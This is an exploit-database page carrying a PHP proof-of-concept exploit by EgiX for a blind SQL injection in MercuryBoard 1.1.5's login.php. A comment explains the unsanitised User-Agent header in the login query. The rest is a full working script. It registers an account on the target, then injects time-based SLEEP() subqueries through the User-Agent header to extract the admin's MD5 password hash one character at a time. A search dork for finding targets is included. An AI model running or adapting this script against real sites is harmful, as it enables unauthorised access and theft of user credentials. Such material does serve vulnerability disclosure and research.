Lucene search
K

MercuryBoard <= 1.1.5 (login.php) Remote Blind SQL Injection Exploit

🗓️ 21 May 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

MercuryBoard <= 1.1.5 Remote SQL Injectio

Code

                                                &lt;?php

/*
	--------------------------------------------------------------------
	MercuryBoard&nbsp;&lt;=&nbsp;1.1.5&nbsp;(login.php)&nbsp;Remote&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Exploit
	--------------------------------------------------------------------
	
	author...:&nbsp;EgiX
	mail.....:&nbsp;n0b0d13s[at]gmail[dot]com
	
	link.....:&nbsp;http://www.mercuryboard.com/
	dork.....:&nbsp;&quot;Powered&nbsp;by&nbsp;MercuryBoard&quot;
	details..:&nbsp;SLEEP()&nbsp;function&nbsp;was&nbsp;added&nbsp;in&nbsp;MySQL&nbsp;5.0.12,&nbsp;so&nbsp;this&nbsp;PoC&nbsp;works&nbsp;depending&nbsp;on&nbsp;the&nbsp;version&nbsp;of&nbsp;MySQL

	[-]&nbsp;do_login()&nbsp;function&nbsp;vulnerable&nbsp;to&nbsp;SQL&nbsp;injection&nbsp;in&nbsp;/func/login.php

	52.	function&nbsp;do_login()
	53.	{
	54.		$this-&gt;set_title($this-&gt;lang-&gt;login_header);
	55.		$this-&gt;tree($this-&gt;lang-&gt;login_header);
	56.		
	57.		//print&nbsp;&quot;agent:&nbsp;$this-&gt;agent\n&quot;;
	58.	
	59.		if&nbsp;(!isset($this-&gt;post['submit']))&nbsp;{
	60.			$request_uri&nbsp;=&nbsp;$this-&gt;get_uri();
	61.	
	62.			if&nbsp;(substr($request_uri,&nbsp;-8)&nbsp;==&nbsp;'register')&nbsp;{
	63.				$request_uri&nbsp;=&nbsp;$this-&gt;self;
	64.			}
	65.	
	66.			return&nbsp;eval($this-&gt;template('LOGIN_MAIN'));
	67.		}&nbsp;else&nbsp;{
	68.			$username&nbsp;=&nbsp;str_replace('\\',&nbsp;'&amp;#092;',&nbsp;$this-&gt;format(stripslashes($this-&gt;post['user']),&nbsp;FORMAT_HTMLCHARS&nbsp;|&nbsp;FORMAT_CENSOR));
	69.	
	70.			$data&nbsp;&nbsp;=&nbsp;$this-&gt;db-&gt;fetch(&quot;SELECT&nbsp;user_id,&nbsp;user_password&nbsp;FROM&nbsp;{$this-&gt;pre}users&nbsp;WHERE&nbsp;REPLACE(LOWER(user_name),&nbsp;'&nbsp;',&nbsp;'')='&quot;&nbsp;.&nbsp;str_replace('&nbsp;',&nbsp;'',&nbsp;strtolower($username))&nbsp;.&nbsp;'\'&nbsp;AND&nbsp;user_id&nbsp;!=&nbsp;'&nbsp;.&nbsp;USER_GUEST_UID&nbsp;.&nbsp;'&nbsp;LIMIT&nbsp;1');
	71.			$pass&nbsp;&nbsp;=&nbsp;$data['user_password'];
	72.			$user&nbsp;&nbsp;=&nbsp;$data['user_id'];
	73.	
	74.			$this-&gt;post['pass']&nbsp;=&nbsp;str_replace('$',&nbsp;'',&nbsp;$this-&gt;post['pass']);
	75.			$this-&gt;post['pass']&nbsp;=&nbsp;md5($this-&gt;post['pass']);
	76.	
	77.			if&nbsp;($this-&gt;post['pass']&nbsp;==&nbsp;$pass)&nbsp;{
	78.				if&nbsp;(!setcookie($this-&gt;sets['cookie_prefix']&nbsp;.&nbsp;'user',&nbsp;$user,&nbsp;$this-&gt;time&nbsp;+&nbsp;$this-&gt;sets['logintime'],&nbsp;$this-&gt;sets['cookie_path'])
	79.				||&nbsp;&nbsp;!setcookie($this-&gt;sets['cookie_prefix']&nbsp;.&nbsp;'pass',&nbsp;$pass,&nbsp;$this-&gt;time&nbsp;+&nbsp;$this-&gt;sets['logintime'],&nbsp;$this-&gt;sets['cookie_path']))&nbsp;{
	80.					return&nbsp;$this-&gt;message($this-&gt;lang-&gt;login_header,&nbsp;$this-&gt;lang-&gt;login_cookies);
	81.				}
	82.	
	83.				//&nbsp;Delete&nbsp;guest&nbsp;entry
	84.				$this-&gt;db-&gt;query(&quot;DELETE&nbsp;FROM&nbsp;{$this-&gt;pre}active&nbsp;WHERE&nbsp;active_ip='$this-&gt;ip'&nbsp;AND&nbsp;active_user_agent='$this-&gt;agent'&quot;);&nbsp;&lt;=======
	85.	
	86.				return&nbsp;$this-&gt;message($this-&gt;lang-&gt;login_header,&nbsp;$this-&gt;lang-&gt;login_logged,&nbsp;$this-&gt;lang-&gt;main_continue,&nbsp;str_replace('&amp;',&nbsp;'&amp;amp;',&nbsp;$this-&gt;post['request_uri']),&nbsp;$this-&gt;post['request_uri']);

	$this-&gt;agent&nbsp;(User-Agent&nbsp;header)&nbsp;isn't&nbsp;properly&nbsp;sanitised,&nbsp;so&nbsp;an&nbsp;attacker&nbsp;could&nbsp;be&nbsp;inject&nbsp;arbitrary&nbsp;SQL&nbsp;code&nbsp;in&nbsp;a&nbsp;subquery&nbsp;into&nbsp;the&nbsp;query&nbsp;at&nbsp;line&nbsp;84
	
	[-]&nbsp;Possible&nbsp;bug&nbsp;fix&nbsp;in&nbsp;/global.php
	
	66.	function&nbsp;mercuryboard()
	67.	{
	68.		$this-&gt;time&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;time();
	69.		$this-&gt;query&nbsp;&nbsp;&nbsp;=&nbsp;isset($_SERVER['QUERY_STRING'])&nbsp;?&nbsp;$_SERVER['QUERY_STRING']&nbsp;:&nbsp;null;
	70.		$this-&gt;ip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;$_SERVER['REMOTE_ADDR'];
	71.		$this-&gt;agent&nbsp;&nbsp;&nbsp;=&nbsp;isset($_SERVER['HTTP_USER_AGENT'])&nbsp;?&nbsp;addslashes($_SERVER['HTTP_USER_AGENT'])&nbsp;:&nbsp;null;&nbsp;&lt;=======
	72.		$this-&gt;self&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;$_SERVER['PHP_SELF'];
	73.		$this-&gt;server&nbsp;&nbsp;=&nbsp;$_SERVER;
*/

error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;,&nbsp;5);

function&nbsp;http_send($host,&nbsp;$packet)
{
	$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	while&nbsp;(!$sock)
	{
		print&nbsp;&quot;\n[-]&nbsp;No&nbsp;response&nbsp;from&nbsp;{$host}:80&nbsp;Trying&nbsp;again...&quot;;
		$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	}
	fputs($sock,&nbsp;$packet);
	while&nbsp;(!feof($sock))&nbsp;$resp&nbsp;.=&nbsp;fread($sock,&nbsp;1024);
	fclose($sock);
	return&nbsp;$resp;
}

function&nbsp;getmicrotime()
{&nbsp;
	list($usec,&nbsp;$sec)&nbsp;=&nbsp;explode(&quot;&nbsp;&quot;,&nbsp;microtime());&nbsp;
	return&nbsp;((float)$usec&nbsp;+&nbsp;(float)$sec);&nbsp;
}

function&nbsp;getdelay($query)
{
	global&nbsp;$host,&nbsp;$path,&nbsp;$username,&nbsp;$password;
	
	$data	=&nbsp;&quot;user={$username}&amp;pass={$password}&amp;submit=1&amp;request_uri=foo&quot;;
	$packet&nbsp;=&nbsp;&quot;POST&nbsp;{$path}index.php?a=login&nbsp;HTTP/1.0\r\n&quot;;
	$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
	$packet.=&nbsp;&quot;User-Agent:&nbsp;{$query}\r\n&quot;;
	$packet.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
	$packet.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
	$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
	$packet.=&nbsp;$data;

	$start&nbsp;=&nbsp;getmicrotime()*1000;
	http_send($host,&nbsp;$packet);
	$end&nbsp;=&nbsp;getmicrotime()*1000;

	return&nbsp;($end&nbsp;-&nbsp;$start);
}

function&nbsp;getusername($uid)
{
	global&nbsp;$host,&nbsp;$path;
	
	$packet&nbsp;=&nbsp;&quot;GET&nbsp;{$path}index.php?a=profile&amp;w={$uid}&nbsp;HTTP/1.0\r\n&quot;;
	$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
	$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
	preg_match(&quot;/Viewing&nbsp;Profile:&nbsp;(.*)&lt;\/td&gt;/i&quot;,&nbsp;http_send($host,&nbsp;$packet),&nbsp;$split);

	return&nbsp;$split[1];
}

function&nbsp;register()
{
	global&nbsp;$host,&nbsp;$path,&nbsp;$username,&nbsp;$password;
	
	$data	=&nbsp;&quot;desuser={$username}&amp;[email protected]&amp;passA={$password}&amp;passB={$password}&amp;submit=1&quot;;
	$packet&nbsp;=&nbsp;&quot;POST&nbsp;{$path}index.php?a=register&nbsp;HTTP/1.0\r\n&quot;;
	$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
	$packet.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
	$packet.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
	$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
	$packet.=&nbsp;$data;
	
	http_send($host,&nbsp;$packet);
}

function&nbsp;login()
{
	global&nbsp;$host,&nbsp;$path,&nbsp;$username,&nbsp;$password;
	
	$data	=&nbsp;&quot;user={$username}&amp;pass={$password}&amp;submit=1&amp;request_uri=foo&quot;;
	$packet&nbsp;=&nbsp;&quot;POST&nbsp;{$path}index.php?a=login&nbsp;HTTP/1.0\r\n&quot;;
	$packet.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
	$packet.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
	$packet.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
	$packet.=&nbsp;&quot;Connection:&nbsp;close\r\n\r\n&quot;;
	$packet.=&nbsp;$data;
	
	$pattern&nbsp;=&nbsp;&quot;/pass=&quot;.md5($password).&quot;/&quot;;
	
	return&nbsp;preg_match($pattern,&nbsp;http_send($host,&nbsp;$packet));	
}

print&nbsp;&quot;\n+------------------------------------------------------------------+&quot;;
print&nbsp;&quot;\n|&nbsp;MercuryBoard&nbsp;&lt;=&nbsp;1.1.5&nbsp;Remote&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;by&nbsp;EgiX&nbsp;|&quot;;
print&nbsp;&quot;\n+------------------------------------------------------------------+\n&quot;;

if&nbsp;($argc&nbsp;&lt;&nbsp;3)
{
	print&nbsp;&quot;\nUsage......:	php&nbsp;$argv[0]&nbsp;host&nbsp;path&nbsp;[options]\n&quot;;
	print&nbsp;&quot;\nhost.......:	target&nbsp;server&nbsp;(ip/hostname)&quot;;
	print&nbsp;&quot;\npath.......:	path&nbsp;to&nbsp;MercuryBoard&nbsp;directory&nbsp;(example:&nbsp;/&nbsp;or&nbsp;/mercury/)\n&quot;;
	print&nbsp;&quot;\n-s&nbsp;seconds.:	number&nbsp;of&nbsp;seconds&nbsp;for&nbsp;SLEEP()&nbsp;(dafault:&nbsp;5)&quot;;
	print&nbsp;&quot;\n-u&nbsp;uid.....:	user&nbsp;id&nbsp;(default:&nbsp;2&nbsp;-&nbsp;admin)&quot;;
	print&nbsp;&quot;\n-t&nbsp;prefix..:	table's&nbsp;prefix&nbsp;(default:&nbsp;mb)\n&quot;;
	print&nbsp;&quot;\nExample....:	php&nbsp;$argv[0]&nbsp;localhost&nbsp;/mercury/&nbsp;-s&nbsp;1&quot;;
	print&nbsp;&quot;\nExample....:	php&nbsp;$argv[0]&nbsp;localhost&nbsp;/&nbsp;-u&nbsp;3&nbsp;-t&nbsp;my_prefix\n&quot;;
	die();
}

$host	=&nbsp;$argv[1];
$path	=&nbsp;$argv[2];

$username&nbsp;=&nbsp;&quot;pr00f_0f&quot;;
$password&nbsp;=&nbsp;&quot;_c0nc3pt&quot;;

$opt	=&nbsp;array(&quot;-s&quot;,&nbsp;&quot;-u&quot;,&nbsp;&quot;-t&quot;);
$md5	=&nbsp;&quot;&quot;;
$count	=&nbsp;&quot;5&quot;;
$uid	=&nbsp;&quot;2&quot;;
$prefix&nbsp;=&nbsp;&quot;mb&quot;;

for&nbsp;($i&nbsp;=&nbsp;3;&nbsp;$i&nbsp;&lt;&nbsp;$argc;&nbsp;$i++)
{
	if&nbsp;($argv[$i]&nbsp;==&nbsp;&quot;-s&quot;)&nbsp;if&nbsp;(isset($argv[$i+1])&nbsp;&amp;&amp;&nbsp;!in_array($argv[$i+1],&nbsp;$opt))&nbsp;$count&nbsp;=&nbsp;$argv[++$i];
	if&nbsp;($argv[$i]&nbsp;==&nbsp;&quot;-u&quot;)&nbsp;if&nbsp;(isset($argv[$i+1])&nbsp;&amp;&amp;&nbsp;!in_array($argv[$i+1],&nbsp;$opt))&nbsp;$uid&nbsp;=&nbsp;$argv[++$i];
	if&nbsp;($argv[$i]&nbsp;==&nbsp;&quot;-t&quot;)&nbsp;if&nbsp;(isset($argv[$i+1])&nbsp;&amp;&amp;&nbsp;!in_array($argv[$i+1],&nbsp;$opt))&nbsp;$prefix&nbsp;=&nbsp;$argv[++$i];	
}

if&nbsp;(!login())
{
	print&nbsp;&quot;\n[-]&nbsp;Trying&nbsp;to&nbsp;register&nbsp;with&nbsp;username&nbsp;'{$username}'&nbsp;and&nbsp;password&nbsp;'{$password}'\n&quot;;
	register();
	if&nbsp;(!login())&nbsp;die(&quot;\n[-]&nbsp;Login&nbsp;failed!\n&quot;);
}

$user&nbsp;=&nbsp;getusername($uid);
print&nbsp;&quot;\n[-]&nbsp;Username:&nbsp;{$user}&quot;;

$hash&nbsp;=&nbsp;array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$index&nbsp;=&nbsp;1;&nbsp;$md5&nbsp;=&nbsp;&quot;&quot;;
print&nbsp;&quot;\n[-]&nbsp;MD5&nbsp;Hash:&nbsp;&quot;;
	
while&nbsp;(!strpos($md5,&nbsp;chr(0)))
{
	for&nbsp;($i&nbsp;=&nbsp;0,&nbsp;$n&nbsp;=&nbsp;count($hash);&nbsp;$i&nbsp;&lt;=&nbsp;$n;&nbsp;$i++)
	{
		if&nbsp;($i&nbsp;==&nbsp;$n)&nbsp;die(&quot;\n\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
		$sql&nbsp;=&nbsp;&quot;'OR(SELECT&nbsp;IF(ORD(SUBSTR(user_password,{$index},1))={$hash[$i]},SLEEP({$count}),1)&nbsp;FROM&nbsp;{$prefix}_users&nbsp;WHERE&nbsp;user_id={$uid})#&quot;;
		if&nbsp;(getdelay($sql)&nbsp;&gt;=&nbsp;($count&nbsp;*&nbsp;1000))&nbsp;{&nbsp;$md5&nbsp;.=&nbsp;chr($hash[$i]);&nbsp;print&nbsp;chr($hash[$i]);&nbsp;break;&nbsp;}
	}
	
	$index++;
}

if&nbsp;(!eregi(&quot;[0-9,a-f]{32}&quot;,&nbsp;$md5))&nbsp;print&nbsp;&quot;\n\n[-]&nbsp;Invalid&nbsp;MD5&nbsp;hash...\n&quot;;
else&nbsp;print&nbsp;&quot;\n\n[-]&nbsp;Successfull!\n&quot;;
	
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1
19